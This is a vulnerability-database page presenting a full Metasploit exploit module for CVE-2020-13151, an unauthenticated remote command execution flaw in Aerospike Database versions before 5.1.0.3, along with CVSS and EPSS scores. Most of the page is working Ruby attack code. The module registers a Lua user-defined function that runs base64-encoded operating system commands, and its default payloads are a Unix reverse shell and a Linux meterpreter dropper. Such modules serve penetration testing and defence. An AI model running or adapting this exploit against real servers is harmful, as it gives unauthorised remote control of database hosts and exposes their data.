Lucene search

K
metasploitB4ny4n, bcoles <[email protected]>MSF:EXPLOIT-LINUX-MISC-AEROSPIKE_DATABASE_UDF_CMD_EXEC-
HistoryDec 05, 2020 - 2:15 p.m.

Aerospike Database UDF Lua Code Execution

2020-12-0514:15:22
b4ny4n, bcoles <[email protected]>
www.rapid7.com
288
aerospike database
udf
lua
code execution
operating system commands
ubuntu
community edition
authentication

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.853

Percentile

98.6%

Aerospike Database versions before 5.1.0.3 permitted user-defined functions (UDF) to call the os.execute Lua function. This module creates a UDF utilising this function to execute arbitrary operating system commands with the privileges of the user running the Aerospike service. This module does not support authentication; however Aerospike Database Community Edition does not enable authentication by default. This module has been tested successfully on Ubuntu with Aerospike Database Community Edition versions 4.9.0.5, 4.9.0.11 and 5.0.0.10.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Aerospike Database UDF Lua Code Execution',
        'Description' => %q{
          Aerospike Database versions before 5.1.0.3 permitted
          user-defined functions (UDF) to call the `os.execute`
          Lua function.

          This module creates a UDF utilising this function to
          execute arbitrary operating system commands with the
          privileges of the user running the Aerospike service.

          This module does not support authentication; however
          Aerospike Database Community Edition does not enable
          authentication by default.

          This module has been tested successfully on Ubuntu
          with Aerospike Database Community Edition versions
          4.9.0.5, 4.9.0.11 and 5.0.0.10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'b4ny4n', # Discovery and exploit
          'bcoles' # Metasploit
        ],
        'References' => [
          ['EDB', '49067'],
          ['CVE', '2020-13151'],
          ['PACKETSTORM', '160106'],
          ['URL', 'https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3'],
          ['URL', 'https://github.com/b4ny4n/CVE-2020-13151'],
          ['URL', 'https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html'],
          ['URL', 'https://www.aerospike.com/docs/operations/manage/udfs/'],
        ],
        'Platform' => %w[linux unix],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
              'Type' => :unix_command
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-07-31',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(3000)
      ]
    )
    register_advanced_options(
      [
        OptString.new('UDF_DIRECTORY', [true, 'Directory where Lua UDF files are stored', '/opt/aerospike/usr/udf/lua/'])
      ]
    )
  end

  def build
    header = ['02010000'].pack('H*')
    data = "build\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def remove_udf(name)
    header = ['02010000'].pack('H*')
    data = "udf-remove:filename=#{name};\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def list_udf
    header = ['02010000'].pack('H*')
    data = "udf-list\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def upload_udf(name, data, type = 'LUA')
    header = ['02010000'].pack('H*')
    content = Rex::Text.encode_base64(data)
    data = "udf-put:filename=#{name};content=#{content};content-len=#{content.length};udf-type=#{type};\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def features
    header = ['02010000'].pack('H*')
    data = "features\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def execute_command(cmd, _opts = {})
    fname = "#{rand_text_alpha(12..16)}.lua"
    print_status("Creating UDF '#{fname}' ...")

    # NOTE: we manually remove the lua file as unregistering the UDF
    # does not remove the lua file from disk.
    cmd_exec = Rex::Text.encode_base64("rm '#{datastore['UDF_DIRECTORY']}/#{fname}'; #{cmd}")

    # NOTE: this jank to execute the payload in the background is required as
    # sometimes the payload is executed twice (before the UDF is unregistered).
    #
    # Executing the payload in the foreground causes the thread to block while
    # the second payload tries and fails to connect back.
    #
    # This would cause the subsequent call to unregister the UDF to fail,
    # permanently backdooring the system (that's bad).
    res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})

    return unless res.to_s.include?('error')

    if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
      print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
    else
      print_error('UDF registration failed')
    end
  ensure
    # NOTE: unregistering the UDF is super important as leaving the UDF
    # registered causes the payload to be executed repeatedly, effectively
    # permanently backdooring the system (that's bad).
    if remove_udf(fname).to_s.include?('ok')
      vprint_status("UDF '#{fname}' removed successfully")
    else
      print_warning("UDF '#{fname}' could not be removed")
    end
  end

  def check
    connect

    res = build

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first

    unless version
      return CheckCode::Safe('Target is not Aerospike Database')
    end

    vprint_status("Aerospike Database version #{version}")

    if Rex::Version.new(version) >= Rex::Version.new('5.1.0.3')
      return CheckCode::Safe('Version is not vulnerable')
    end

    unless features.to_s.include?('udf')
      return CheckCode::Safe('User defined functions are not supported')
    end

    CheckCode::Appears
  end

  def exploit
    # NOTE: maximum packet size is 65,535 bytes and we lose some space to
    # packet overhead, command stager overhead, and double base64 encoding.
    max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.
    if payload.encoded.length > max_size
      fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")
    end

    print_status("Sending payload (#{payload.encoded.length} bytes) ...")
    case target['Type']
    when :unix_command
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: max_size, background: true)
    end
  end
end

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.853

Percentile

98.6%

Related for MSF:EXPLOIT-LINUX-MISC-AEROSPIKE_DATABASE_UDF_CMD_EXEC-